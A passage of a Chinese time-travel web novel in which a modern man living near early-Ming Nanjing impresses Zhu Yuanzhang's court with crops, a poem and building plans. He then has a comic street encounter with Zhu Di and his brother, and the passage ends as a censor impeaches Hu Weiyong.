“行了,不用看我了,咱说这是咱想出来的,你能信?”朱元璋甩了甩自己的龙袍,站了起来:“京郊一个后辈献的策。” “后辈?是哪位大儒的弟子……” “大儒?那后辈就是个西域行商而已,大概没有哪个大儒会收商人为弟子吧。”朱元璋讥讽地笑了两声。 有些儒士,确实是有才情也有品格,如宋濂那几人。 但是那些喜欢沽名钓誉,自诩清高的儒士,朱元璋是相当不喜欢的。 “行商?!”李善长失神地喊了出来,如果这策,是刘伯温所想,他会马上接受,如果是其他大儒献的计,他花点时间,兴许也是可以接受的。 但是现在朱元璋跟他说,就是个行商,弄想出如此神机妙算的妙计…… 他李善长,那是打死都不信的。 于是,他憋红了脸,在那不知该如何是好。 直到刘伯温看不下去,出口替李善长圆了圆。 “那后生,虽然偶尔会说些不着调的话,但是确是有真才学的……宜将剩勇追穷寇,不可沽名学霸王,便是出自他之口。” 刘伯温开口赞叹了下朱安宁,也是给了个台阶给李善长下。 他刘伯温都借了人家的句子去写奏折,你李善长也就老老实实认了天外有天,人外有人就好。 而李善长,此时的脸色终于缓和了过来。 不得不说,今天对于他这样年纪的人来说,多少是有些刺激了。 “真是天外有天,人外有人啊……臣恭喜陛下觅得能臣……” “能是能,但是看起来好像不太想当官的样子。”朱元璋听见李善长的恭喜,也是有些无语,他是知道朱安宁的态度的。 正当朱元璋在那说话的时候。 告别了朱安宁,吃饱喝足的朱棣,恰好回到了宫中。 他第一时间便来到了这边殿,想要汇报一下今天的情况给朱元璋听。 结果迎门便是看到还跪在那里的李善长,和站在一边的朱元璋朱标和刘伯温。 完犊子,自己一直在念叨桃花庵歌,没有通报就跑进来了…… 这平日的陪侍哪里去了! 朱棣的冷汗一下就下来了。 “见过父皇,大哥,韩国公,诚意伯……”他连忙规规矩矩地行礼。 “哦,刚好老四也来了,今儿下午,老四就是去会那个后生去了,怎么样?”朱元璋看见朱棣回来,也没有怪罪他突然闯进来。 他拍了拍朱棣的肩膀,示意他说话。 第三十一章 让他当个大地主呗(求追读!) 朱元璋扫了眼还跪在那里的李善长。 最终还是叹了口气,说道:“韩国公,你也先起来吧,听一听老四怎么说。” 而对于突然冲进来的朱棣,李善长还是有些懵的。 但是看刘伯温和太子好像都理所当然的样子……他觉得还是听话先站起来罢。于是李善长犹豫了片刻,颤颤巍巍地想撑起身子。 结果却眼前一黑,跪久是始终还是有些不适,幸好朱标看他不是很对劲的样子,连忙上去扶了一把。 “太子殿下,臣没事,没事……” 这点小插曲,并没有打断朱元璋的节奏。 他看李善长被朱标扶到一边后,又给了朱棣一个眼色。 朱棣自然知道他老爹是什么意思……反正没有怪自己莽撞闯进来就好…… 不过大哥也在,老爹揍自己好歹还有人护着…… 至于说情况……他只觉得有点复杂,所以沉思了片刻才把思路整理好。 “父皇,朱哥他……”他下意识地唤了声,却也意识到了这称呼实在不妥,于是连忙改口:“朱安宁对耕种之法确实是有经验的……” 他把下午耕种的事情,包括泥肥之类的小细节,一五一十地说了出来,不敢有任何遗漏。 朱元璋则在仔细地听着他儿子的讲述。 待到朱棣讲完,他才抬起了眼皮,开了口。 “有种庄稼的把式,而且还会用河泥来代替粪肥,看来这朱安宁没有说空话……老四,等朱安宁的宅子建好,你也住进去吧,诚意伯的孙子刘畾,和刘廌过些时日也过去一同耕作,这事,关乎到百姓,关乎到我大明千秋万代,不可小视!” “儿臣明白!” 朱棣是赶忙领命了。 而听完朱棣描述的李善长却不淡定了。 他只觉得这短短的一个多时辰里,怎么就忽然发生了这么多事情! “燕王!燕王!”他顾不上朱元璋还在这里,也不顾才站起来的自己还在头晕眼花,急忙叫了出声:“十石?!” 作为曾经的起义军后勤大队长兼内政一把手,他对粮草数字可敏感得很。 听到刚才燕王说的十石粮食,他还以为是有十石粮草要干嘛,然后再听下去那是越来越不对劲,最后才回过味来,是亩产十石!!! “燕王莫要说些妄语……哪能有亩产十石的作物啊!” 后勤大队长反应很大。 而与此同时,他也发现了,除了他,好像其他人都没什么反应…… 也就是,他们都知道?! 朱棣看了一眼他老爹,看他并没有什么反应后,才壮着胆子和李善长解释了起来:“韩国公,那番薯和土豆,是由我种下的,具体的产量,需要等到明年开春才能知晓……而且,我觉得,朱安宁,他说的是实话……” “哦?你才见了他一面,就这么相信他了?”这时,朱元璋才开了口,只见他笑了笑,看向了朱棣。 而朱棣,却也没有正面回答朱元璋的问题。 “回父皇,今日你遣我前去不是让我顺道问他是否有出仕的想法么。” 朱棣一边说着,一边掏出了已经放在袋中许久的纸张。 那是朱安宁趁朱棣还在吃东西时,回房车里找了张纸写下来的桃花庵歌。 没有当着朱棣的面写是因为……他不太会写繁体字,虽然会看…… 幸好电脑插件里有简繁转化功能,不然真下不来台了。 他又不能把水性笔给朱棣用,一古人哪会握这现代笔。 所以,才有了这张纸,这张朱棣请求的写有桃花庵歌的纸…… 桃花坞里桃花庵,桃花庵里桃花仙。 桃花仙人种桃树,又摘桃花卖酒钱。 酒醒只在花前坐,酒醉还来花下眠。 半醒半醉日复日,花落花开年复年。 但愿老死花酒间,不愿鞠躬车马前。 车尘马足富者趣,酒盏花枝贫者缘。 若将富贵比贫贱,一在平地一在天。 若将贫贱比车马,他得驱驰我得闲。 别人笑我太疯癫,我笑他人看不穿。 不见五陵豪杰墓,无花无酒锄作田。 长长的诗歌,被接过纸张的朱元璋念了出来。 场中的众人,由皱眉,变成了惊叹。 简单的诗词,没有什么花团锦簇的描写,也没有极尽华丽的辞藻。 但是却如此地有韵律。 一个在草房边尽情享乐,不问世事的形象,就这样铺陈到了他们的面前。 潇洒,写意。 刘伯温更是久久不能回神。 “但愿老死花酒间,不愿鞠躬车马前……别人笑我太疯癫,我笑他人看不穿……”他喃喃自语着,一副失魂落魄的样子。 作为元末的神通,刘伯温可是明初最顶级的文豪。 他辅佐朱元璋取了天下,早已功成身就,偶尔也会有隐退的想法,而朱安宁抄唐伯虎的这桃花庵歌,不就正是自己梦寐以求的生活么! “别人笑我太疯癫,我笑他人看不穿……呼,安宁小弟,比我们想得要洒脱得多啊,如此洒脱,却还心怀天下,愿意献上番薯土豆这等宝物。更不用说那旷古绝今的内阁制了……我等……我等真的自愧不如啊。”刘伯温,长叹了口气,里面带着纷乱的情绪。 李善长虽不是刘伯温这种正儿八经的科举天才,但也是一等一的文人。 他也同刘伯温一般,又重复了几遍诗词,只觉得,这作者,真乃神人! 四人一时间都有些沉默。 最后还是朱标长叹了一口气。 “看来,这朱安宁,对做官,确实是没什么想法……新粮的事情还未定,暂且不表,但是这献策是实实在在的功劳啊。”朱标,转头,看向了他父亲。 意思很简单,有功,就要赏,但是这人又不想做官,该怎么赏。 “啧,这家伙真是油盐不进啊。”朱元璋虽是农民出身,但他学习的本领可是如开挂般地强,要品这桃花庵歌的味道,他老朱还是能砸吧得出味道的:“要不咱就把那附近的田地找个由头都给他吧,这几日听他说过,不就是想当个地主么,咱就让他当个大地主,哼……” 这一声哼的意味,带了点不爽,但是更多的是无奈。 今儿听了这桃花庵歌,他是更喜欢朱安宁了。 这小子可真有意思啊。 第三十二章 又是朱安宁是吧(求追读!) 四人都还沉浸在那桃花庵歌中。 门外却忽然传来了内侍太监声音。 “陛下,营造提举司蒯富求见。” 朱元璋听着外面传来声音,有些不悦,但是一听是蒯富,却又表情松了下来。 这个时辰了还来求见,应该是和朱安宁有关? 是他的宅子很难建还是有什么特殊要求需要宫里配合么? 老朱在心里盘算了一下。 只觉得,只要朱安宁的要求不是太过分,自己都会尽量满足,毕竟内阁制可是大功一件。 更不要说新粮的事了。 他扫视了一眼殿内的其余人,开口向那太监说道:“让他进来吧。” 蒯富? 刘伯温和李善长是有些摸不着头脑的。 营造提举司对他们来说,是相对陌生的官署。 既然不明所以,那就住嘴不语。 李善长连忙挪到了刘伯温的身边,规矩地站着。 那蒯富,不一会,就被带到了殿里。 这刘伯温和李善长不认识他,他可是认识这两人的,更不用说朱标朱棣了。 蒯富是实实在在地被这一屋子人吓到了。 他连忙跪地行礼。 “见过陛下。” “起来吧,蒯富,你今儿不是去给那朱安宁建房么?怎么,他提的要求连你都难办?” 朱元璋一副已经洞穿了他来意的模样。 结果蒯富却一脸疑惑。 难办? 有什么难办的。 朱安宁的要求属实是稀松平常,那宅子的大小,比起宫里这殿那殿,那简直就是小到不行。 而且朱安宁还塞了他好几张图纸参考…… 里面所有东西都标注清楚了,自己连想都不用想…… 有什么难办的啊! “回……回陛下,朱……那个朱公子提出的要求,都是些平常需求,并没有什么难办……”蒯富也不是什么文官,他直白地回应了朱元璋。 倒是也把朱元璋弄得一愣一愣的。 没什么难办你跑过来干嘛?! “陛下,今日小的得了些重要图纸,觉得不宜耽搁太久,便一刻也不敢停歇,赶来求见。” 蒯富从怀里摸出了几张纸。 这纸,朱元璋都没看内容就知道了……朱安宁的。 这洁白如玉的纸,好像也只有他那有了吧。 怕不是又是什么西域稀罕货…… 朱元璋伸手接过。 蒯富连忙解释了下去:“这几幅图例,带上了营造的标准,用材,甚至产地用量,用工等,都标记的一清二楚,唯一不妥的地方,就是钱银的计算需要修正。” 接过,他这一轮解释。 在场的人都听懂了意思,但是……有什么重要啊? 并非工匠的几人,都有点莫名其妙。 看着没什么反应的几人,蒯富急了起来:“陛下认为小的工匠水平如何?” “蒯工算得上是军匠里首屈一指的大工了吧。”朱元璋也是没有废话,直接就认他是第一了。 “而有了这几幅图,可以轻易操练出无数个我这般的熟练工匠,当然,只是限于图例中的营造款式。” “蒯工,你是说,只要有了这几幅图,普通的工匠也能快速上手,简单建成房舍?”朱标补充了句。 “回太子爷,正是如此,而且这图例中的房舍,可不是什么简易的民房,而是带厢房院落的完整居室!款式还根据地域不同做了区分,南北款式各有五种!”看见朱标是听懂了,蒯富也激动了起来。 这可真是宝贝啊,眼前这些大人听懂了就好。 “又是朱安宁给的吧。” “回陛下,是的。” —————————————————————— 宫里发生的事情。 朱安宁什么都不知道。 他正在洗碗,用煮开的河水。 来到这里已经几日了。 房车里的饮用水已然有些告急。 见这里河水清澈,明朝也没什么工业污染。 他索性就用柴火炉煮开了河水来使用。 夕阳挂在远处的山间。 还有最后一丝余晖。 朱安宁哼着歌,那是相当的快乐。 别人回到明朝当王爷,那可是杀头的买卖。 自己这回到明朝当地主,还能把带来的一些物件,造福这个时代的人民,那可太爽了。 今日这种植,也还算顺利。 开垦了一小部分地,就已经够用来催芽。 明日再开垦些。 然后河泥虽然不像粪肥那样需要沤多日,但是也是需要静置些时日的,再差遣那十来岁就成亲了的扑街伍燕挑多几桶过来就好。 而他下午所思虑的新想法。 现在好像能腾出手来定一定了。 原本他是拒绝佃农的。 因为他怕暴露自己房车和房车里那些乱七八糟的东西。 而现在计划赶不上变化,那伍伯提出的建宅计划,完美地帮他解决了这个痛点。 下午那蒯工已经拍胸部表示建高围墙,那真就是小事一桩。 那自己就没什么好怕了…… 附近的几块田地,他已经简单看过了。 都是很肥沃的良田。 既然这些良田已经归到了自己名下,那不开垦出来,真是愧对自己血液里流淌的耕田基因啊。 打野蛮六我打不过那群花里胡哨的国家。 奇观误国,种田总不误国了吧。 现在现实里我好好种田,带着自己的佃农好好苟着发育。 当地主,收租!!! 这才是明初的人生巅峰啊! 寻个机会,找伍爷和季爷商量下,看下有没有相熟的农户想要耕地,然后自己再筛选下就好。 自己这地,得赶紧租出去。 毕竟,再拖些时日,就要错过晚稻的季节了…… 他不想荒废这些良田。 土豆和番薯,能够一定程度上解决粮食紧缺的问题。 但是汉人,归根到底还是习惯吃米或面。 自己虽然没有袁老爷子那般逆天的才能,但是也是经过正规教学的国之……不是那么能顶的细边角栋梁。 尝试下,能否用这百亩田,去实验更为现代的种法,尽可能提高稻谷的产量。 并不是每个穿越者都有称王称霸的雄心壮志。 起码朱安宁是没有的。 能让这个时代的人略微过得好一些,也许就是自己能做的极限了吧。 番薯土豆推广,挨饿的人就能少一些。 自己能实践好更先进的水稻,小麦种植技术,那吃好的人,又能多一些。 能做到这样,也算满足咯。 对了……明天,进城里看看吧。 现在这古代的衣裳,是到手了。 叉着腰的朱安宁,看着夕阳落下。 笑了起来。 今日,自己这河边,又是平和的一天呢。 第三十三章 城里有点事(求追读!) 翌日的清早。 朱安宁被外面的叮叮当当吵醒。 看了眼时间,不过是六点刚过没多久。 一脸懵逼的他下车查看,看到的是蒯富正带着一群人在那热火朝天地干着活。 “这么早……不至于吧……这工钱多少啊……这么拼。”朱安宁感叹着这明朝的工匠怎么比007的自己还拼。 大中华几百年前就这么卷了么…… 和蒯富远远地打了声招呼,他又回到了车里。 只是外面这么吵。 房车隔音本来就查,他横竖是睡不回这个回笼觉的了。 索性拿出了昨天朱棣送过来的衣服,尝试着穿了起来。 “我靠这小兄弟的位置空空的,古人不穿内裤不会着凉么……”略微吐槽了下古人的衣服。 他还是摸索出了具体的穿法。 照了照镜子,像模像样的明朝人朱安宁就此诞生。 “这布料可以啊,挺舒服的。”随意走了几步,除了裆下问题之外,其他倒是没有什么不适。 鞋袜确实是没有现代的舒服,但是也就将就了。 反正又不是去锻炼。 朱安宁准备妥当,随意啃了两口饼干,便算是吃了早餐。 他现在物资焦虑多少有点严重,非必要是不会吃那些有价值的吃食的。 至于饼干这种东西……干粮而已,就算是放明朝估计也卖不了什么钱银,吃就吃了吧。 朱安宁把车门锁好,绕车一圈仔细地看了看确定没有问题后,便开始沿着小路向外走去。 当他走到那与主干道的连接处时,草丛那儿忽然有了些动静。 朱安宁没有察觉的动静。 “哎,老张,你回去禀告一下,就说看护的公子动身进城了。” “领命。” “然后小何你守在这里,我去跟这位小爷就行。” 草丛中,戚祥正在分配任务。 他领到的命令是看管这路口,同时保护这眼前的小爷。 现在小爷都动身了,他也只能跟上。 当然,这一切,朱安宁并不知晓、 他只知道。 这路好长! 走路好累! 他虽然是久经考验的共青团员,但是又不是什么久经考验的运动员。 走在官道上的朱安宁在穿越前也就是个社畜而已,还是个身体每况愈下的社畜,这两里路走了不知多久才见到南京城门。 五更就已然开门的城门,人来人往。 这就是应天府啊。 这是古代的应天府啊! 之前他只是蹬了个自行车过来,远远的看了一眼,而现在可是走近来看了啊。 周遭的人,都如自己一般穿着类似的衣物。 早晨不知道谁家正在烹煮着早餐,烟火气伴随着人声,在这座城上空氤氲。 高耸的围墙上都是些斑驳的印记,记录了十余年前的战斗。 朱安宁站在那里,很是恍惚。 这是历史长河中,普通的一日。 而他现在也成为了历史长河中,普通的一人。 书本里关于南京的记载,记忆里有关金陵的故事,在脑海里翻涌。 最后化为了,一抹微笑。 “进城!”朱安宁笑着迈开了脚步,不再多想。 简单地接受了下检查,早已获得南京户口的朱安宁并没有被怎么刁难。 和人群一起穿过那长长的门楼。 他很快就看见了。 明初的,真正的南京。 没有影视剧里的盛唐那般极尽奢华,也没有北京二道口小院那种地道悠长。 它有的是,人气。 那场生灵涂炭的浩劫之后,欣欣向荣的人气。 早起的人们,在街上行走着。 路边的摊贩的吆喝声都带了些韵律。 他们都是活生生的人,而不是电视剧里面的群众演员。 他们是切实生活在明朝,洪武时期的人。 朱安宁穿越过来后,连续几日见过的人不过是朱元璋他们几个。 要说有什么感觉,不过是我穿越了,见到了两地主,还有地主家的傻儿子,加一个建筑大队,仅此而已。 但是现在站在这大街上。 他是切实地感受到了,他也变成了活在明朝的一员,这一事实。 “娘的,还是很不爽,穿越过来金手指都不给几个,以前看小说的什么特殊事件也是一个都没有触发……” 朱安宁在那小声抱怨,嘴角却扬起了微笑。 “既来之,则安之,把那几块地耕好,看下要不要搞一套城里的宅子,这南京城,可真不错!我靠这是秦淮河吧,那边就应该是青楼了……嘿嘿嘿……” 被某些楼宇吸引,朱安宁换了个方向。 像是来旅游般逛了起来。 这地儿风景可真不错,朱重八这十来年,把南京搞得还可以嘛。 朱安宁在心里微微赞扬了下某人。 然后便听到了远处传来了骚乱声。 “哎哟喂!让开让开,快些让开!”是有人在呐喊,与此同时,还有不少叫骂声。 很快,他便知道了为什么会有人叫骂。 因为,有个傻缺,正骑着一匹高的一匹的马,在大街上冲撞……方向正是自己站立的位置。 准确地说,应该是那马儿失控了。 我顶你玛德! 这冲自己来了啊! 刷新特殊事情也不要刷这种要出人命的好么? 目瞪口呆地朱安宁看着那马儿极速地向自己冲来,唯一来得及做的不过是抱头蹲防。 我靠,两百两银子还没享受!明朝的青楼也还没去过!我日你妈! 在心里骂个不停的朱安宁,最后并没有等来预想中的冲撞。 因为那马……不知被什么绊倒,摔到了自己的面前,大概一米多的位置吧。 而那马上的年轻人,也是随马一起摔下,在那龇牙咧嘴地嚎着。 远处,某间民房后。 刚把木棍丢出去绊倒马的戚祥,正在擦冷汗……差点自己的命就没了啊…… 这可是朱老板交代的差事…… 而此时,有个朱安宁认识的人冲了过来。 他看见朱棣正拿着根棍子冲向那掉落马的年轻人。 “你个龟孙!!!居然敢当街纵马!” “四哥!四哥,这棍儿太粗了啊,要出人命的啊……四哥啊!哎呀……而且他是龟孙,我们算什么嘛……”那朱棣身后,有一和他几分相似的,却要矮上些的少年,正在扯着朱棣的手臂。 朱安宁一脸懵逼。 只是,抱头蹲防姿势依旧不变。 第三十四章 抱头蹲防一次就好(求追读!) 朱棣正气在头上。 棍子就要往那摔倒在地的人身上招呼。 他身后的朱橚却死死地拉住了他。 四周的百姓都围了过来,在那指指点点地看着。 由于当事的三人,穿的都是普通衣裳,吃瓜群众们也就只是以为又是哪家勋贵的子弟闹事,仅此而已。 毕竟这里可是应天府,一砖头下去,说不定都能砸死几个家里当官的。 看热闹可是人类亘古不变的本性,这是镌刻在DNA里的生物本能。 他们围了里外三层,就想看看棍子硬,还是摔倒在地的那人骨头硬。 “放开我,我就抽他一棍子,就一棍子!”朱棣恼火地叫嚷着。 “四哥,你这一棍子,那就是他一辈子了啊!”朱橚则是一脸无奈地继续阻止着自己老哥当街行凶。 而不远处抱头蹲防的朱安宁,终于是敢睁开眼睛了。 他看着地上滚来滚去的人,又看了眼拎着棍子的朱棣,叫了出声。 “小燕,这么巧?” 他蹲在地上,防御姿势满分,样子却是猥琐中带点样衰,不羁中带点弱鸡。 还想挥舞棍子的朱棣,却在这一刻愣了愣。 嗯?好像有人在叫自己。 这蹲在地上的家伙好像有点眼熟…… “朱哥!”轮到朱棣惊叫出声了…… 他本来就是想早点过去朱安宁那里干活的。 昨夜老朱可没少交代他要好好跟着朱安宁学东西,自己哪敢怠慢,一大早就爬了起来,结果刚出府门,就看到了这李景隆九江儿带着他弟弟鬼鬼祟祟地往外走。 【嘿嘿,五殿下,你前些日子和那刘家两兄弟,马都没骑,怎么跑得远嘛,今儿让我来帮你,这马是我从家里偷出来的,虽没什么赤血的卢跑得快,那也是一顶一的好马……】 朱棣听着那李九江说的话,那怒火真是压都压不住。 自己弟弟前些日子偷溜出城才被自己老爹揍了一顿,要不是大哥在,怕不是要被揍背过气去。 结果今儿又被这李九江带出来……一副又是要出城作死的样子…… 打自己弟弟那是万万不能的,但是揍这个侄儿,自己是毫无心理负担的,不知怎么地,他打小就爱欺负这个侄儿。 朱棣顺手就从路边捡了根木棍,就这般冲了上去。 那李九江远远就见着朱棣一副杀气腾腾的样子,手里那根木棍比只怕比自己手臂还粗。 哪能猜不到这是来揍他的,三魂七魄都被吓了个遍。 他连忙让朱橚下马,自己骑了上去。 后续才会引发朱安宁的当街抱头蹲防。 朱棣看着眼前这换了衣裳的朱安宁,确实是有点没认出来。 人靠衣装,马靠鞍装,奇装异服的朱安宁他看了一天,穿正常衣服还真有点不习惯…… “朱哥你怎么这么早进城啊!” 朱橚听见自己四哥喊了声朱哥,差点吓了个踉跄。 大哥来了?不是吧……大哥现在应该还在朝堂啊! 朱橚顺着朱棣的视线看了过去,结果却发现,并不是他们的好大哥朱标。 是一个他不认识的年轻小哥。 而那李九江,本就是躺在地上装可怜在那嚎,结果听见朱棣一声朱哥。 那是差点就背过气去…… 他朱棣的朱哥不就是朱老板的好大儿嘛! 自己今天是做好人好事带朱橚去紫金山寻些植物而已……怎么一个接一个地遇上这些惹不得的人啊…… 思绪混乱的李九江,很果断地决定,必须立马装晕。 于是场面就陷入了诡异的安静之中。 朱棣和朱橚看着抱头蹲防的朱安宁。 朱安宁看着眼前那怎就突然晕过去的哀嚎青年。 四周的群众更是无言。 不知过了多久,是马儿先打破了寂静。 它嘶鸣了一声。 惊醒了所有人。 吃瓜群众后方终于有人熬不住,喊了一句。 “还打不打嘛!你棍子硬还是他脑壳硬嘛,试一试?” 这是吃瓜吃得不爽的抱怨。 这人的抱怨自然是不会有回应的了。 群众们看到,朱棣已经悻悻地放下了手中的棍子。 朱橚也终于是松了口气。 而朱安宁,则是终于可以换个不这么样衰的姿势了。 至于那些围观群众,集结速度和散去速度一样快,毕竟没有乐子的地方,就没有围观的价值。 “哎哟喂,吓死我了,我这不是许久没有进过应天府了嘛,今儿有空,就想进来看看……没想到遇上这些个事。”惊魂未定的朱安宁,拍了拍自己的小心肝,站了起来。 看着和朱棣搭话的朱安宁,朱橚自然是满头问号,他只能把疑惑的目光转向自己的胞兄。 “是咱这侄儿惊吓到朱哥了……”朱棣暂时没有理会他弟弟,而是连忙对朱安宁行了个礼。 这倒是让朱橚更加疑惑。 什么情况啊。 “你侄儿?……”朱安宁看了看那地上装死的李九江,这人也就和伍燕年纪相仿吧……居然是侄儿辈,他只能感叹古人的辈分是真的乱。 “哎,不成器的侄儿,对了朱哥,这是我的胞弟,叫伍……呃,伍周。”他一把把朱橚拉到了身前,介绍道。 “伍周?”朱橚用上了疑问句,想和朱棣确认一番。 “嗯。”结果朱棣却只是回了朱橚一个嗯字,外加势大力沉的一记拍背:“朱哥,这是咱家的老五,伍周。” 他又以重音说了一遍。 朱橚被朱棣拍得差点缓不过劲来,作为未来的周定王,中华家著名的植物学家,医学家,朱橚自然不是蠢蛋。 反正四哥这么做一定有他的道理……好的我就是伍周了。 再不做伍周,四哥再来一巴掌,自己这身板说不定就要和九江儿一样躺地上了…… “咳咳咳……朱哥好……”他连忙对朱安宁打了个招呼。 而惊魂未定的朱安宁,哪能看到朱棣那一堆小动作,只听到有人和自己打招呼,便也是连忙回了句好。 搞定这边的事情。 朱棣终于能看一下那李九江。 只见他躺在那里一动不动,朱棣也是心里有点发憷。 刚才是一阵火大,没有顾及什么后果…… 但是现在九江儿……要是有点什么意外,接下来挨揍的可就是自己了。 一念至此,朱棣的冷汗也流了下来。 于是连忙凑了过去,想看看李景隆没有受什么外伤。 结果。 却和偷偷睁开眼睛的李景隆,来了个四目相对,深情对望。 “我棍子呢?!” 于是,朱棣,又发出了怒吼。 于是,朱橚又只能去继续拉住朱棣。 唯一值得庆幸的是,这次,起码朱安宁是不用抱头蹲防了。 第三十五章 应天府流民(求追读!) 朱棣当然不会当街打死李景隆。 但是混乱之中,踹了他几脚那是必须的。 抱头鼠窜的李景隆很快就躲到了朱橚身后。 朱棣看着护着李九江的朱橚,也知道这揍人的事,只能暂时作罢。 反正这辈子还长,他揍九江儿的机会多的是。 不能揍人,给朱安宁说明下情况是必要的。 “这是咱侄儿李……李三江。”朱棣脸色阴沉地指了指躲在朱橚身后畏畏缩缩的李景隆。 他是在给朱安宁作介绍…… 昨日朱元璋就已经告诉过他了,关于众人的身份,务必不能透露给朱安宁知晓。 那现在,他也只能用谎言继续掩盖谎言……开始胡乱给别人安名字。 李景隆和刚才朱橚的表情一致,他懵逼地看向了朱棣。 然后是醒目的朱橚,狠狠地拍了他背后一巴掌。 “嗯,李三江。”朱橚也重复了一遍,然后给李景隆递了个眼神。 “对,我是李三江,刚才纵马失误,差点冲撞到小哥,真是万分抱歉。”终于接收到信号的李景隆,赶紧开始了道歉。 朱安宁此时也回过了神来。 他只觉得李三江这个名字真是有够好笑的。 “三江?”他忍不住笑了起来,幸好是三江不是九江,那九江儿可是大明第一战神啊,算上瓦剌留学生堡宗,在神人辈出群魔乱舞技能乱点的明朝,这李九江也是极为炸裂的存在。 40万打5万,优势在我! 然后寄…… 想到这段历史,朱安宁是真的忍不住了。 这一笑,自然是让另外三人多少有些莫名其妙。 而朱安宁也是知道自己这样好像有些失礼,连忙收敛了笑容,轻咳了两声缓解尴尬。 这晨间闹市,人愈发多了起来,虽然没什么人再围观他们,但是朱棣也不想再继续留在这里。 于是一个冷眼递给了李景隆。 “你赶紧把马牵回去,我当什么都没看到。” 李景隆听见这事就这么消了,哪还敢吱声,连忙就去牵起了马儿,向他们告退。 “那……那那三江就先告退了。”他用着熟悉又不熟悉的名字在那自称,多少有点不习惯。 只是此时也没有人在意他的结巴,朱棣更是不耐烦地挥了挥手。 他连人带马很快就融入了集市的喧闹中。 回过头来的朱棣,把目光投向了他的弟弟。 朱橚也是无奈地叹了口气,开始解释:“四哥,我只是想出城看些植物而已,并没有说一定要去紫金山的,只是他们误会我的意思了。” “哎,你真是打小就喜欢看那些花花草草……”朱棣也是有些无奈,他知道弟弟就是喜欢这些东西,却也是担心他乱跑会出事。 “哦?这小周也喜欢植物?” 啊,小周…… 花费了些时间,朱橚才醒悟过来,对方说的是自己。 “呃,朱……朱哥,我确实是喜爱植物,这南京城里,却没有多少花草可看,所以才想去外面走一走……” 朱橚倒也是直白,他也不管朱棣一副无奈的样子,把自己的想法说了出来。 “真喜欢啊?”朱安宁看了眼朱橚。 只觉得明朝真是神奇。 明明现在才明初,怎么民间就有人开始研究植物了。 怪不得后面还有什么唱戏的王,木匠的皇,当然了,留学的堡宗也是浓墨重彩的一笔。 要是这伍家小子如果真有兴趣的话,自己教他一点也无妨。 也不枉自己大学学过这植物生态学,和植物资源学……十个学分,为期一个月的实地学习,恰好就是在南京周边,要说这片地区的植物,他还是认得的,就是希望这几百年不要说变得太多就好。 “是极为喜欢的。”朱橚叹了口气,只觉得喜欢又怎样,自己作为周王,主业怎么可能去做这种事情呢。 “喜欢我教你啊。而且不用去紫金山,先从城外周边开始就好。”朱安宁说得随意。 朱棣却听得人都麻了,怎么这朱安宁什么好像都会啊…… “朱哥,你还会这些啊……” 而朱橚,眼睛却亮了起来。 植物学,在明初,可不是什么受重视的东西。 朱橚虽然喜欢,但其实也就是自己在慢慢摸索而已,并没有多少资料可以供他系统查阅。 只是远处突然又传来了点骚动。 打断了他们的对话。 朱棣踮起脚看了眼就知道不好。 是官差……刚才的闹腾说大不大说小不小,官差前来查看,也是正常。 只是自己和朱橚身份敏感,还有朱安宁在这里,要去到府尹那边解释也是麻烦的很。 三十六计……走为上计。 朱棣马上就做好了决断。 “朱哥,五弟,既然说城外周边也有植物可供辨赏,那我们赶紧出城?”他推了推朱橚。 “啊,这就走了?”朱安宁则多少有点懵逼。 才刚进城啊。 自己就在大街上溜达了一圈而已。 怎么又要出城了。 只是朱棣和反应过来的朱橚,根本没有给朱安宁反应的机会。 两人一把夹住了朱安宁,就往城外走去。 —————————————————— 朝堂上,朱元璋正在和群臣讨论着关于太原等地旱灾频发的事情。 减税甚至零税,现在已然毫无用处。 因为无雨无水,根本就无法种植作物。 远走他乡成为了百姓们唯一的出路。 而朱元璋,也寻觅不到更好的法子,人,无法胜天,旱,就是旱。 就算现在开始兴修水利,引渠过去,也解不了这燃眉之急。 若是那番薯和土豆,能早日种出来,也许还能缓解一下灾情……但是没有如果。 所以把流民迁往其他地方,就成为了唯一的解决办法。 “平阳那边本就旱灾,现又遭了蝗灾……前些日子说过了,尽快把人迁到应天府,江南一带,这边还有不少荒地。杨思义,你务必给咱盯紧了。” 朱元璋点了点户部尚书的名字,算是阶段性地了结了这件事情。 至此,早朝的大部分需要审议的事情已经结束。 那,是时候做更重要的事情了。 朱元璋抬了抬眼皮。 重新恢复了些精神。 然后扫了眼站在文官最前面的胡惟庸。 那边本来还应该站着李善长。 但是,今日,韩国公,李善长,以身体不适为由,告假。 第三十六章 此后无相(求追读!) 朱元璋和站在身旁的东宫太子朱标对视了一眼。 是时候开始,今日的最后一项议题了。 而下方的杨御史也在此刻,站了出来。 见到有御史出列。 不少昏昏欲睡的官员,猛地醒了过来。 又要参谁啊…… 这批搅屎棍天天就到处抓人痛脚……且看今天谁倒霉。 有人想着看热闹。 而部分,则开始反思自己是不是最近做了什么事情没有收好手尾……边想边冒冷汗。 至于少数留在朝堂的武官,如李文忠一类,那是直接就开始闭目养神。 看来又是文官狗咬狗的一天,几个武官在心里感叹着。 情绪已经酝酿够了。 朱元璋抬了抬手问道:“杨御史,还有何事要奏?” 只见那杨御史,深深地吸了口,似在平复紧张的情绪。 手还有些微抖。 “臣启奏陛下,臣闻古之圣王,皆以法治国,明察秋毫,不容奸邪之徒存于朝野。” 最终,他还是振声开了口。 得,这开篇就是要参人了。 百官闻那杨御史的开头,便知道,有人要倒霉了。 只是这奸邪之人是谁,现在还没说出来。 “今有某官,身居高位,却背弃法度,罔顾民生,实乃朝廷之蠹虫,社稷之患。“ 杨御史咬牙说了下去。 “骄横跋扈,纵容家仆欺压百姓。滥用职权,任人唯亲,致使朝廷纲纪废弛,法度不存。” 百官听着,却渐渐觉得有些不对头。 有敏感的官员已经反应了过来。 参人是要讲究章法的。 简单来说,地位越低,说法越少。 地位越高,那说的话就得配得上这个数。 今天看这杨御史,那是滔滔不绝,说个不停…… “夫为国者,以公正廉明为基,以民为本。而某官不恤国法,惟私利是求,乃失官德。其害民之行,既损朝廷之威严,又伤百姓之安宁。若不加以惩戒,何以示国法之严明?臣愿陛下明察秋毫,洞察其奸,以正朝纲。臣虽微贱,竭诚为国……” 终于快要奏到最后,那杨御史却突然缓了口气。 也让憋了半天的百官,不自觉地也一同开始换气。 “臣……弹劾胡惟庸胡大人!” 他的话,如一声惊雷,在朝堂炸开。 最先反应过来的自然是胡惟庸。 官场老油子的他,并没有因为一个小小御史对自己弹劾就惊慌失措。 大概又是朱老板想派个人出来敲打一下自己吧。 前些时日的占城国案,确实处理得有些问题。 而家中那几个仆人,近期又是嚣张过头了,一会回府也得惩戒下这些贱种了。 以刚才弹劾的罪状来看,自己服个软就算吧。 